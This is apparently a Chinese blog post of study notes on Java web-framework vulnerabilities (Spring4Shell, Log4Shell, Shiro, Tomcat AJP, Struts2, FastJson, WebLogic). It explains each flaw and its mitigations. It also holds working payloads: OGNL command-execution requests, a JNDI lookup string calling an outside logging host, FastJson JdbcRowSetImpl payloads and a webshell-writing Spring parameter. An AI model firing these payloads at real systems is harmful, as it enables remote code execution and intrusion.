spring远程命令执行漏洞
受影响的版本
1)使用了JDK 9及以上
2)Spring 框架以及衍生的框架spring-beans-*.jar 文件或者存在CachedIntrospectionResults.class
https://blog.csdn.net/nethackatschool/article/details/124784353
原理:https://it.sohu.com/a/535760028_121292904
https://blog.csdn.net/nethackatschool/article/details/124784353
通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp,该“访问日志”实际上为一个JSP webshell。
以class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp参数为例,当spring进行参数绑定时,会以”.”为分隔符按照引用链递归解析,解析到最后一个引用suffix时就可以注入.jsp参数到tomcat的AccessLogValve对象属性中
预防:Spring官方已发布新版本完成漏洞修复
log4j2远程命令执行漏洞
受影响的版本:Apache Log4j 2.x<=2.14.1
lookup的主要功能就是提供另外一种方式以添加某些特殊的值到日志中,以最大化松散耦合地提供可配置属性供使用者以约定的格式进行调用。
logger.error(“${jndi:ldap://vljass.dnslog.cn}”);
原理:该日志框架在打印日志时当遇到 ${ 后,Interpolator 类以 : 号作为分割,将表达式内容分割成两部分,前面部分作为 prefix(jndi),后面部分作为 key(ldap://vljass.dnslog.cn)。然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用 lookup 方法,最后将 key 作为参数带入执行。
攻击原理:
可以用ldap 来构造 payload
第一步:向目标发送指定 payload,目标对 payload 进行解析执行,然后会通过 ldap协议 链接远程服务,当 ldap 服务收到请求之后,将请求进行重定向到恶意 java class 的地址。
第二步:目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令。
预防:
1.升级jdk版本
2.采用 rasp 对lookup的调用进行阻断
3.限制不必要的业务访问外网
java反序列化漏洞
只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)
Java中的ObjectOutputStream类的writeObject()方法可
以实现序列化,其作用把对象转换成字节流,便于保
存或者传输,而ObjectInputStream类的readObject()方
法用于反序列化,作用就是把字节流还原成对象。
Apache shiro1.2.4 框架反序列化漏洞
原理
在Shiro <= 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,
Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,
服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化。由于AES加密是对称式加密(key既能加密数据也能解密数据)
,所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞。
这个通过观察shiro1.2.4版本的源代码可以发现,如果不指定密钥,shiro会默认一个初始化密钥,该密钥是被硬编码在代码中,由于代码是开源的,攻击者很容易找到该密钥,并且伪造cookie发起攻击
指纹
请求包的Cookie中,给remeberMe字段赋任意值,返回包中存在set-Cookie:remeberMe=deleteMe
https://www.pudn.com/news/6228d3e99ddf223e1ad1b730.html
除此之外还有
https://blog.csdn.net/web13985085406/article/details/124481258
预防
https://blog.csdn.net/qq_36407469/article/details/119119875
①升级shiro至最新版本1.7.1
密钥硬编码问题存在于1.2.4版本及以下。通过观察最新版本1.7.1的源代码发现,如果不指定密钥shiro会初始化一个随机密钥,由于密钥是随机生成的,所以攻击者没办法猜测到密钥。
②保持shiro版本不变<=1.2.4,修改rememberMe默认密钥
③禁用rememberMe功能
源码分析:https://blog.csdn.net/weixin_39636610/article/details/111009459
shiro不出网:https://blog.csdn.net/qq_44159028/article/details/115293579
shiro不出网怎么利用?
1.定位Web目录写入文件
2.构造回显
3.内存马
4.时间延迟获取Web路径写入webshell
Apache Tomcat 文件包含漏洞(CVE-2020-1938)
默认情况下,Tomcat 会开启 AJP 连接器, Tomcat 在 AJP 协议的实现上存
在漏洞,导致我们可以控制“javax.servlet.include.request_uri”,“
javax.servlet.include.path_info”,
“javax.servlet.include.servlet_path”,
这三个参数,可以读取或者包含 Web 根目录
下的任意文件,配合文件上传,将导致任意代码执行(RCE)
补充:URI为非.jsp结尾的时候,会给tomcat的DefaultServlet来处理,造成读取web根目录下的任意文件(此次URI为想要读取webapps目录下的目录)
URI为.jsp结尾的时候,会给tomcat的JspServlet来处理,结合文件上传通过JSP模板的解析,可导致任意代码执行(此次URI单纯是想让其交给JspServlet处理,并无实际意义)
request_uri和uri不是一个属性
防御方法
将web.xml中监听8009端口的那项配置给注释掉,不给外部控制这三个参数的机会
https://www.sohu.com/a/383965758_354899
struts2 框架漏洞原理
如何识别:url中带有.do,.action结尾的
Struts2是一个基于MVC设计模式的web应用框架,它本质上相当于一个servlet,在MVC设计模式中,struts2作为控制器来建立模型与视图的数据交互。Struts2的使用范围及其广泛,国内外均有大量厂商使用该框架。
stu016
原理:在struts2中,DefaultActionMapper类支持以”action:”、“redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,
由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
请求示例:
?redirect:
${#a=new java.lang.ProcessBuilder(new java.lang.String[]{“netstat”,”-an”}).start().getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[51020],#c.read(#d),
#screen=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’).getWriter(),
#screen.println(#d),
#screen.close()}
参考链接
https://blog.csdn.net/qq_29647709/article/details/84950476
https://www.jianshu.com/p/298a2cb12403
stu045远程代码执行(RCE)漏洞分析
原理:Struts2默认解析上传文件的Content-Type头存在问题。在解析错误的情况下,会执行错误信息中的OGNL代码。
攻击过程
构造含有OGNL代码的content-Type,之后将这个请求发送给服务器,MultiPartRequestWrapper通过调用JakartaMultiPartRequest.java的parse进行解析请求,
之后解析文件这个Content-Type会出现问题,之后 parse方法又会调用buildErrotMessage()方法,buildErrorMessage()方法又调用了LocalizedTextUtil的findText方法执行
这个ONGL,导致漏洞产生;
poc
Content-Type: haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(‘calc’)};
参考链接
https://www.anquanke.com/post/id/85628
https://www.anquanke.com/post/id/85674
stu046远程代码执行(RCE)漏洞分析
原理:通过将上传文件的Content-Disposition的filename加入空字节和OGNL代码,让服务器解析filename出现异常,调用buildErrotMessage()方法,导致OGNL代码被执行
补充:
让服务器解析filename出现异常除了加空字节,还有另外一种方式(需要满足两个条件)
1.Content-Disposition的filename不存在空字节且Content-Length 的长度值需超过Struts2允许上传的最大值(2M)
2.数据流需要经过JakartaStreamMultiPartRequest。(需在struts.xml添加配置: <constant name=”struts.multipart.parser” value=”jakarta-stream” />)
https://www.anquanke.com/post/id/85776
ongl是一种功能强大的表达式语言
https://blog.csdn.net/qq_36748278/article/details/78013232
FastJson 反序列化漏洞
Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库 ,可以将符合格式的字符串转换为对象
FastJson在 1.2.22 – 1.2.24 版本中存在反序列化漏洞
原理
fastjosn接收的json通过@type字段来指定该JSON应该还原成何种类型的对象,
fastjson会通过set方法将json的key:value值映射到@type对应的类中,
也就是指定反序列化何种对象和对象的属性名以及属性值我们是可控的。
我们可以写个rmi服务,
将type指定为Java的基本类JdbcRowSetImpl,dataSourceName指定为远程的恶意类
,autoCommit有且必须为true或false等布尔值类型,在其给autoCommit属性赋值的过程中,会调用connect方法,在connect方法中又会调用lookup方法,
dataSourceName会传入lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制的web服务器远程加载恶意代码,执行构造函数形成RCE。
//LADP 方式
String payload1 = ” {/”@type/”:/”com.sun.rowset.JdbcRowSetImpl/”,/”dataSourceName/”:/”ldap://localhost:1389/Exploit/”,” + ” /”autoCommit/”:true}”;
//RMI 方式
String payload2 = “{/”@type/”:/”com.sun.rowset.JdbcRowSetImpl/”,/”dataSourceName/”:/”rmi://localhost:1099/Exploit/”,” + ” /”autoCommit/”:true}”;
JSONObject.parseObject(payload2);
RMI(Remote Method Invocation)远程方法调用,是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。
JNDI是Java命令和目录接口,提供了查找各种命名和目录服务的统一的接口。
简单理解就是:java微服务中的注册中心
JNDI 借助目标服务器上的一个类jdbcRowSetImpl,让目标服务器访问远程rmi服务器(rmi://127.0.0.1:1099/Exploit),得到响应后执行相应操作
LDAP指轻型目录访问协议
参考链接
https://blog.csdn.net/weixin_54648419/article/details/124454020
https://blog.csdn.net/weixin_46684578/article/details/119297798
https://zhuanlan.zhihu.com/p/73428357
Weblogic IIOP 反序列化漏洞(CVE-2020-2551)
weblogic 核心组件中 IIOP 协议,通过该协议对存在漏洞的 WebLogic进行远程代码执行的攻击
IIOP:CORBA对象之间交流的协议,传输层为TCP/IP
CORBA: Common Object Request Broker Architecture(公共对象请求代理体系结构)是由OMG(Object Management Group)组织制定的一种标准分布式对象结构。使用平台无关的语言IDL(interface definition language)描述连接到远程对象的接口,然后将其映射到制定的语言实现。
客户端通过设置url和initial的值获取到对应的InitialContext对象,
jtaTransactionManager设置远程加载恶意类的地址,将之装配进Remote 对象,
InitialContext对象 bind Remote对象的时候会将被绑定的对象进行序列化并发送到IIOP服务端,
Weblogic服务端在获取到请求的字节流进行反序列化的时候会调用JndiTemplate的lookup方法加载远程恶意的class类,构成反序列化漏洞。
参考链接:https://www.anquanke.com/post/id/201005
https://www.anquanke.com/post/id/199695
https://www.anquanke.com/post/id/197605
weblogic CVE-2020-14756
weblogic CVE-2020-14825
weblogic CVE-2021-2394
原创文章,作者:745907710,如若转载,请注明出处:https://blog.ytso.com/tech/java/276754.html